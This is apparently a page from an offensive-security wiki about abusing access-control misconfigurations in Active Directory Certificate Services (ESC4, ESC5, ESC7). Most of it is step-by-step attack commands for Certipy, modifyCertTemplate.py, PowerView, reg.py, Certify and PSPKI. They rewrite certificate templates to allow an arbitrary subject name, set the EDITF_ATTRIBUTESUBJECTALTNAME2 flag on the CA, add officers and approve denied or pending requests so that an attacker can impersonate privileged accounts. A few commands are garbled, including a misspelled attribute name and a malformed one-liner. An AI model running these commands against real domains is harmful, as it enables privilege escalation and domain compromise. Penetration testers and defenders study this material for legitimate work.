Access controls
In their research papers, Will Schroeder and Lee Christensen found multiple vectors of domain escalation based on access control misconfigurations (dubbed ESC4, ESC5 and ESC7).
Active Directory Certificate Services add multiple objects to AD, including securable ones which principals can have permissions over. This includes:
- Certificate templates (ESC4): powerful rights over these objects can allow attackers to "push a misconfiguration to a template that is not otherwise vulnerable (e.g., by enabling the
mspki-certificate-name-flagflag for a template that allows for domain authentication) this results in the same domain compromise scenario [...]" (specterops.io) as the one based on misconfigured certificate templates where low-privs users can specify an arbitrary SAN (subjectAltName) and authenticate as anyone else. - The Certificate Authority (ESC7): "The two main rights here are the
ManageCAright and theManageCertificatesright, which translate to the “CA administrator” and “Certificate Manager” (sometimes known as a CA officer) respectively. known as Officer rights)" (specterops.io).- If an attacker gains control over a principal that has the ManageCA right over the CA, he can remotely flip the
EDITF_ATTRIBUTESUBJECTALTNAME2bit to allow SAN specification in any template (c.f. CA misconfiguration). - If an attacker gains control over a principal that has the ManageCertificates right over the CA, he can remotely approve pending certificate requests, subvertnig the "CA certificate manager approval" protection (referred to as PREVENT4 in the research whitepaper).
- The CA server’s AD computer object (i.e., compromise through RBCD abuse, Shadow Credentials, UnPAC-the-hash, ...).
- The CA server’s RPC/DCOM server
- Any descendant AD object or container in the container
CN=Public Key Services,CN=Services,CN=Configuration,DC=DOMAIN,DC=LOCAL(e.g., the Certificate Templates container, Certification Authorities container, theNTAuthCertificatesobject, theEnrollment ServicesContainer, etc.) If a low-privileged attacker can gain control over any of these, the attack can likely compromise the PKI system. - ...
Maliciously configuring a CA or a certificate template can be insufficient. A controlled AD object (user or computer) must also have the ability to request a certificate for that template. The controlled AD object must have
Certificate-Enrollment rights over the enrollment services (i.e. CA) and over the certificate template (source).PowerSploit's Add-DomainObjectAcl function (in PowerView) can be used to add
Certificate-Enrollment rights to a "controlled AD object" over a specific template. In order to achieve this, the attacker needs to have enough rights (i.e. WriteDacl) over the certificate template.Add-DomainObjectAcl -TargetIdentity "target template" -PrincipalIdentity "controlled object" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=DOMAIN,DC=LOCAL" -Verbose
In order to obtain an abusable template, some attributes and parameters need to be properly setup
- 1.Get Enrollment rights for the vulnerable template
- 2.Disable
PEND_ALL_REQUESTSflag inmspki-enrollment-flagfor disabling Manager Approval - 3.Set
mspki-ra-signatureattribute to0to disable Authorized Signature requirement - 4.Enable
ENROLLEE_SUPPLIES_SUBJECTflag inmspki-certificate-name-flagto allow requesting users to specify another privileged account name as a SAN - 5.Set
mspki-certificate-application-policyto a certificate purpose for authentication- 1.Client Authentication (OID:
1.3.6.1.5.5.7.3.2) - 2.Smart Card Logon (OID:
1.3.6.1.4.1.311.20.2.2) - 3.PKINIT Client Authentication (OID:
1.3.6.1.5.2.3.4) - 4.Any Purpose (OID:
2.5.29.37.0) - 5.No EKU
- 6.Request a certificate (with a high-privileged user's name set as SAN) for authentication and perform Pass the Ticket.
UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate these sensitive access control entries (how to enumerate), and to overwrite the template in order to add the SAN attribute and make it vulnerable to ESC1. It also had the capacity to save the old configuration in order to restore it after the attack.
# 1. Overwrite the certificate template and save the old configuration
certipy template -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -template templateName -save-old
# 2. After the ESC1 attack, restore the original configuration
certipy template -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -template templateName -configuration 'templateName.json'
If a more precise template modification is needed, modifyCertTemplate (Python) can be used to modify each attributes of the template.
# 1. Disable Manager Approval Requirement
modifyCertTemplate.py -template templateName -value 2 -property mspki-enrobashllment-flag domain.local/user:password
# 2. Disable Authorized Signature Requirement
modifyCertTemplate.py -template templateName -value 0 -property mspki-ra-signature domain.local/user:password
# 3. Enable SAN Specification
modifyCertTemplate.py -template templateName -add enrollee_supplies_subject -property msPKI-Certificate-Name-Flag domain.local/user:password
# 4. Edit Certificate Application Policy Extension
modifyCertTemplate.py -template templateName -value "'1.3.6.1.5.5.7.3.2', '1.3.6.1.5.2.3.4'" -property mspki-certificate-application-policy domain.local/user:password
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The
-scheme flag can be used to set whether to use LDAP or LDAPS.From Windows systems, the Certify (C#) tool can be used to enumerate these sensitive access control entries. At the time of writing (October 21st, 2021) BloodHound doesn't support (yet) enumeration of these access controls. PowerView can be used to modify the template.
# 1. Enumerate sensitive access control entries
Certify.exe find
# 2. Disable Manager Approval Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity tempalteName -XOR @{'mspki-enrollment-flag'=2} -Verbose
# 3. Disable Authorized Signature Requirement
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-ra-signature'=0} -Verbose
# 4. Enable SAN Specification
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -XOR @{'mspki-certificate-name-flag'=1} -Verbose
# 5. Edit Certificate Application Policy Extension
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=contoso,DC=local" -Identity templateName -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose
If sensitive access entries are identified, creativity will be the best ally.
Currently, the best resources for manually abusing this are
If sufficient rights are obtained over the Certificate Authority (Access Controls, local admin account, ...) an attacker could remotely edit the registries, enable the
EDITF_ATTRIBUTESUBJECTALTNAME2 attribute, restart the CertSvc service, and abuse ESC6 (CA configuration abuse).## Beware: change placeholder values CA-NAME, VALUE, NEW_VALUE
# query flags
reg.py 'DOMAIN'/'USER':'PASSWORD'@'CA_IP' query -keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags
# bitwise OR to set the flag if not already (nothing changed if already set)
python3 -c print("NEW_VALUE:", VALUE | 0x40000)
# write flags
reg.py 'DOMAIN'/'USER':'PASSWORD'@'CA_IP' add-keyName 'HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\CA-NAME\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy' -v editflags -vd NEW_VALUE
When it is not possible to restart the
CertSvc service to enable the EDITF_ATTRIBUTESUBJECTALTNAME2 attribute,the built-in template SubCA can be usefull.It is vulnerable to the ESC1 attack, but only Domain Admins and Enterprise Admins can enroll in it. If a standard user try to enroll in it with Certipy, he will encounter a
CERTSRV_E_TEMPLATE_DENIED errror and will obtain a request ID with a corresponding private key.This ID can be used by a user with the ManageCA and ManageCertificates rights to validate the failed request. Then, the user can retrieve the issued certificate by specifying the same ID.
UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate) and modify some CA's attributes like the officiers list (an officier is a user with the ManageCertificate rights) or the enabled certificate templates.
# Add a new officier
certipy ca -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -add-officier 'user'
# List all the templates
certipy ca -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -list-templates
# Enable a certificate template
certipy ca -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -ca 'ca_name' -enable-template 'SubCA'
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The
-scheme flag can be used to set whether to use LDAP or LDAPS.From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object.
Certify.exe cas
# Install PSPKI
Install-Module -Name PSPKI
Import-Module PSPKI
# Get the current value of EDITF_ATTRIBUTESUBJECTALTNAME2 and modify it with SetConfigEntry
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "CA.domain.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
# Check after setting the flag (EDITF_ATTRIBUTESUBJECTALTNAME2 should appear in the output)
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
If RSAT is not present, it can installed like this:
DISM.exe /Online /Get-Capabilities
DISM.exe /Online /add-capability /CapabilityName:Rsat.CertificateServices.Tools~~~~0.0.1.0
UNIX-like
Windows
From UNIX-like systems, Certipy (Python) can be used to enumerate access rights over the CA object (how to enumerate). Coupled with the ManageCA right, it is possible to issue a certificate from a failed request.
# Issue a failed request (need ManageCA and ManageCertificates rights for a failed request)
certipy ca -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -issue-request 100
# Retrieve an issued certificate
certipy req -u '[email protected]' -p 'password' -dc-ip 'DC_IP' -target 'ca_host' -ca 'ca_name' -retrieve 100
By default, Certipy uses LDAPS, which is not always supported by the domain controllers. The
-scheme flag can be used to set whether to use LDAP or LDAPS.From Windows systems, the Certify (C#) tool can be used to enumerate info about the CAs, including access rights over the CA object, and to request a certificate that requires manager approval.
# 1. Request a certificate that requires manager approval with Certify
Certify.exe request /ca:CA.domain.local\CA /template:ApprovalNeeded
...
[*] Request ID : 1
# 2. Install PSPKI on a controlled Windows host
Install-Module -Name PSPKI
Import-Module PSPKI
# 3. Approve the pending request with PSPKI
PSPKI > Get-CertificationAuthority -ComputerName CA.domain.local | Get-PendingRequest -RequestID 1 | Approve-CertificateRequest
# 4. Download the certificate with Certify
Certify.exe download /ca:CA.domain.local\CA /id:1
If sensitive rights are identified, creativity will be the best ally. Not much public tooling is available at the time of writing (October 21st, 2021).
Currently, the best resources for manually abusing this are
This can be enumerated and abused like regular AD access control abuses. Once control over an AD-CS-related is gained, creativity will be the attacker's best ally.
Last modified 5mo ago